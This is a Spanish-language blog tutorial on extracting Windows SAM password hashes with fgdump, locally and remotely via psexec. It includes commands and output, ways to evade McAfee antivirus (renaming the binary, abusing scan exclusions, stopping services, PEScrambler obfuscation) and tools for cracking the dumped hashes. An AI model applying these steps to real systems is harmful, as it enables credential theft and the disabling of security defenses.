Extrayendo la SAM de Windows

Mucho han ido evolucionando los sistemas operativos de Microsoft en lo que a seguridad se entiende. Desde Windows NT y 2000, donde el concepto seguridad era prácticamente inimaginable, hasta Windows 2008 y Windows 7 han pasado muchas cosas. Siguen detectándose gran cantidad de vulnerabilidades, no en vano se trata de sistemas operativos ampliamente extendidos y utilizados, pero cada vez la criticidad es menor, o no son explotables de forma remota o se corrigen y parchan con mucha más rapidez.
Microsoft se ha tomado más en serio eso de la seguridad informática y ha desarrollado multitud de guías de securización y hardening para los equipos que utilizan Windows, Exchange, IIS, etc. o, incluso, ha creado diferentes herramientas que ayudan a detectar y a reducir el impacto de una posible vulnerabilidad como, por ejemplo, MBSA (Microsoft Baseline Security Analyzer), EMET (Enhanced Mitigation Experience Toolkit), MSAT (Microsoft Security Assesment Tool), Windows Defender, Microsoft Security Essentials y alguna otra.

La seguridad de un sistema Windows se basa, principalmente, en tres componentes denominados Local Security Authority o LSA, SRM o Security Reference Monitor y SAM o Security Account Manager para controlar la autenticación en el inicio de sesión de Windows, la seguridad a nivel de objetos y los permisos y derechos de usuarios respectivamente. Los dos primeros en la capa de usuario y el último componente a nivel del Kernel o núcleo del Sistema Operativo.

"Local Security Autohority" (LSA) mantiene información y datos sobre los distintos aspectos de la seguridad local del Sistema Operativo, es decir, controla la autenticación de los usuarios, gestiona las directivas de seguridad locales aplicadas y administra los controles de auditoria y trazabilidad del sistema, etc.

Con "Security Reference Monitor" (SRM) se verifica si un usuario tiene derecho a acceder a un objeto y ejecutar una determinada acción solicitada. Mediante el uso de ACLs (Access Control List o listas de control de acceso), comprueba si un objeto o recurso puede ser accedido.

"Security Account Manager" (SAM) es una base de datos presente en los servidores y estaciones de trabajo con Sistema operativo Windows donde se almacena la información relativa a las cuentas de usuario (nombre de usuario, contraseña, descripción del usuario, grupos a los que pertenece, etc.) del equipo local o bien del resto de la red mediante un controlador de dominio o de Directorio Activo (AD). La SAM es el equivalente al fichero /etc/passwd de los Sistemas Linux/Unix. Físicamente se encuentra en "c:\Windows\System32\Config\SAM" y existe una copia de dicho archivo en "c:\Windows\repair\SAM".

Entre las dificultades o problemas más comunes a la hora de obtener el fichero de contraseñas, una vez que se ha ganado el acceso a un determinado servidor Windows, destacan las siguientes:

- Arquitectura de 64 bits: los nuevos servidores Windows 2008 ya suelen ser de 64 bits y herramientas como pwdump (http://en.wikipedia.org/wiki/Pwdump) en su versión 6 o gsecdump (http://distro.ibiblio.org/pub/linux/distributions/openwall/projects/john/contrib/pwdump/gsecdump-0.7-win32.zip), por ejemplo, no soportan este tipo de arquitecturas con lo que es necesario recurrir a otras aplicaciones como fgdump o pwdump 7, que sí funcionan en sistemas de 64 bits.

- Antivirus: es muy frecuente encontrarse con antivirus instalados en los servidores Windows de donde se quiere extraer la SAM que impiden ejecutar los programas para volcar la información de los passwords dado que los detectan como malware y bloquean su ejecución. A modo de ejemplo, antivirus tan conocidos como VirusScan de Mcafee, TrendMicro o Kaspersky detectan las aplicaciones gsecdump y pwdump6 y pwdump7 como malware, hacktool, etc. e impiden su correcta ejecución, en cambio, Mcafee es el único motor antivirus que sí detecta fgdump como un virus. Para poder utilizar estas herramientas es preciso desactivar la protección en tiempo real que tienen configurada los antivirus presentes en el servidor.

- Usuario con privilegios: ya sea de forma remota o localmente, es necesario disponer de un usuario válido con privilegios de administrador local en el servidor para acceder al fichero de contraseñas (SAM) almacenado en el disco duro. Si se quiere extraer la SAM remotamente se puede recurrir a herramientas como "psexec" y si es de forma local, únicamente es necesario ejecutar la aplicación deseada (pwdumpX, fgdump o gsecdump) en el servidor analizado.

- Programas: como se ha visto existen diferentes herramientas capaces de extraer las contraseñas de un fichero SAM (múltiples versiones de pwdump, gsecdump, fgdump, etc.). Cuál utilizar contra un servidor depende de los factores antes descritos. A modo de ejamplo, se va a mostrar el funcionamiento de fgdump que es una de esas aplicaciones existentes que es sencilla de usar a la vez que potente y que resulta idónea para trastear con el archivo SAM de un servidor Windows.

EJEMPLO DE USO CON FGDUMP
Fgdump es una aplicación basada en pwdump6 que se puede descargar de la dirección http://www.foofus.net/~fizzgig/fgdump/downloads.htm y que tiene la opción de funcionar en sistemas de 32 ó 64 bits y, además, permite deshabilitar el antivirus que pueda existir instalado en el servidor. Fgdump también es capaz de desactivar la protección DEP (Prevención de Ejecución de Datos) que en los sistemas Windows más nuevos e incluso en Windows XP SP2 protege al sistema de la ejecución de determinados programas como los destinados a volcar el contenido de la SAM.

Lo primero es disponer de un usuario con permisos suficientes para ejecutar la herramienta y poder acceder al archivo de la SAM. Esto se puede comprobar ejecutando, en una ventana de MS-DOS (cmd.exe) dentro del servidor Windows, el comando "whoami /all" que muestra el usuario con el que se está conectado y los permisos de que éste dispone.

Para analizar la existencia o no de algún antivirus configurado en el servidor y de qué tipo (Mcafee, Kaspersky, etc.), lo más sencillo es ejecutar el comando "net start" y ver qué servicios se están ejecutando:

Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

c:\net start
These Windows services are started: Application Experience ... McAfee Firewall Core Service McAfee Host Intrusion Prevention Service McAfee McShield McAfee Task Manager McAfee Validation Trust Protection Service Network Connections ...

Se trata de un servidor Windows 2008 con el Service Pack 2 como se puede deducir de la versión de Windows proporcionada: 6.0.6002 que tiene un antivirus VirusScan de Mcafee configurado.

C:\>whoami hacktimes.com\administrator

el nombre de usuario ya lo dice todo, se dispone de permisos y privilegios para ejecutar la herramienta y acceder al fichero SAM. En un servidor Windows sin antivirus el funcionamiento y los parámetros de fgdump serían:

C:\>fgdump (sin parámetros ya detecta automáticamente si se trata de un sistema de 32 ó 64 bits, desactiva el antivirus y la protección DEP)
 fgDump 2.1.0 - fizzgig and the mighty group at foofus.net
 Written to make j0m0kun's life just a bit easier
 Copyright(C) 2008 fizzgig and foofus.net
 fgdump comes with ABSOLUTELY NO WARRANTY!
 This is free software, and you are welcome to redistribute it
 under certain conditions; see the COPYING and README files for
 more information.

 No parameters specified, doing a local dump. Specify -? if you are looking for help.
 --- Session ID: 2011-10-17-10-36-51 ---
 Starting dump on 127.0.0.1

 ** Beginning local dump **
 OS (127.0.0.1): Microsoft Windows Vista Server (Build 6002) (64 bit)
 Passwords dumped successfully
 Cache dumped successfully

-----Summary-----

Failed servers:
 NONE

 Successful servers:
 127.0.0.1

 Total failed: 0
 Total successful: 1

Fgdump crea 3 archivos nuevos "127.0.0.1.cachedump" con la información de las sesiones abiertas en el servidor, "127.0.0.1.pwdump" donde ha extraído la información del fichero SAM y "2011-10-17-10.39-43.fgdump-log" que no es más que el fichero de LOG de la herramienta.

Si se desea que fgdump no deshabilite el antivirus, se ejecuta el comando con la opción -a (fgdump -a).

También se puede hacer de forma remota con la aplicación de Microsoft "psexec" (http://technet.microsoft.com/es-es/sysinternals/bb897553) y, en este caso, el funcionamiento sería:

c:\psexec \\hacktimes.com -u administrator -p contraseña -c -s "c:\fgdump.exe"> SAM.txt

el parámetro -u se utiliza para indicar el usuario con el que se conectará remotamente, -p para la contraseña, -c para que copie fgdump.exe en el servidor remoto y en la ruta que se le indique, -s para ejecutar el proceso remoto con la cuenta de "system" y el direccionador "> SAM.txt" para que copie en el equipo local desde el que se ejecuta psexec el contenido del archivo SAM remoto.

Si, por el contrario, se quiere extraer la SAM de un servidor con antivirus, es preciso desactivar la protección en tiempo real que ofrece el antivirus o encontrar métodos alternativos para poder ejecutar fgdump. Una de esas formas, es revisar las exclusiones (si las hay) que tiene configuradas Mcafee por si existe alguna extensión de archivo que el antivirus no comprueba o algún directorio que no analiza. Suele ser habitual que no se miren los ficheros de LOG (extensión .log) y como desde línea de comandos en Windows se pueden ejecutar archivos que no tienen extensiones de nombre de archivo ejecutable (.exe, .com, .bat, etc.), se puede cambiar la extensión de fgdump de .exe a .log y así el antivirus de Mcafee no lo analiza ni bloquea.

Para ver las extensiones que el VirusScan tiene configuradas es necesario recurrir a la siguiente entrada del registro:

regedit HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\VSCore\On Access Scanner\McShield\Configuration\Default bajo el nombre ExcludedItem_0

Más información sobre cómo Windows deja ejecutar ficheros que no tienen una extensión ejectuable en: http://support.microsoft.com/kb/811528/es.

Otro método es, si se dispone de acceso a la consola del antivirus, parar los servicios de Mcafee que evitan la ejecución de fgdump al detectarlo como malware. Para más información de todos los pasos necesarios para desactivar VirusScan de Mcafee se puede recurrir a la siguiente URL: http://virusscan.helpmax.net/es/apendice/solucion-de-problemas/desactivacion-de-virusscan-enterprise-durante-la-solucion-de-problemas/.

Otra forma muy efectiva es ofuscar al antivirus el archivo binario y evitar así que sea detectado como malware. Una herramienta muy útil para conseguir eso es PEScrambler (http://code.google.com/p/pescrambler/) que es muy fácil de utilizar y que consigue, moviendo parte del código, reorganizar el fichero y que el VirusScan en este caso no lo detecte:

C:\>pescrambler.exe -i c:\fgdump.exe -o c:\fgdump-ofuscado.exe

(-i de la ruta de inicio del fichero y -o para indicar el nombre del archivo resultante que será el que se ejecute para evitar ser detectado por el antivirus)

PE-Scrambler v0.1 (Alpha)
Copyright (C) 2007-2008 Nick Harbour, All Rights Reserved

Loading and Parsing Input File. (done)
Disassembling. (done)
Generating Cross-References. (done)
Remapping CALL Instructions. (done)
Armoring Code. (done)
Writing Output File. (done)

Se ejecuta en el servidor Windows del que se quieren extraer las contraseñas el nuevo archivo "fgdump-ofuscado.exe" y el funcionamiento es el normal y se consigue volcar todo el contenido de la SAM como anteriormente sucedía obviando la presencia del antivirus.

Una vez se dispone del archivo de contraseñas ya se puede utilizar algún programa como L0pthcrack en su última versión 6 (http://www.l0phtcrack.com/) u Ophcrack (http://ophcrack.sourceforge.net/) que combinado con raimbow tables permiten, en relativamente poco tiempo, acceder a los passwords que los diferentes usuarios tienen definidos en sus cuentas.

0 comentarios:

Publicar un comentario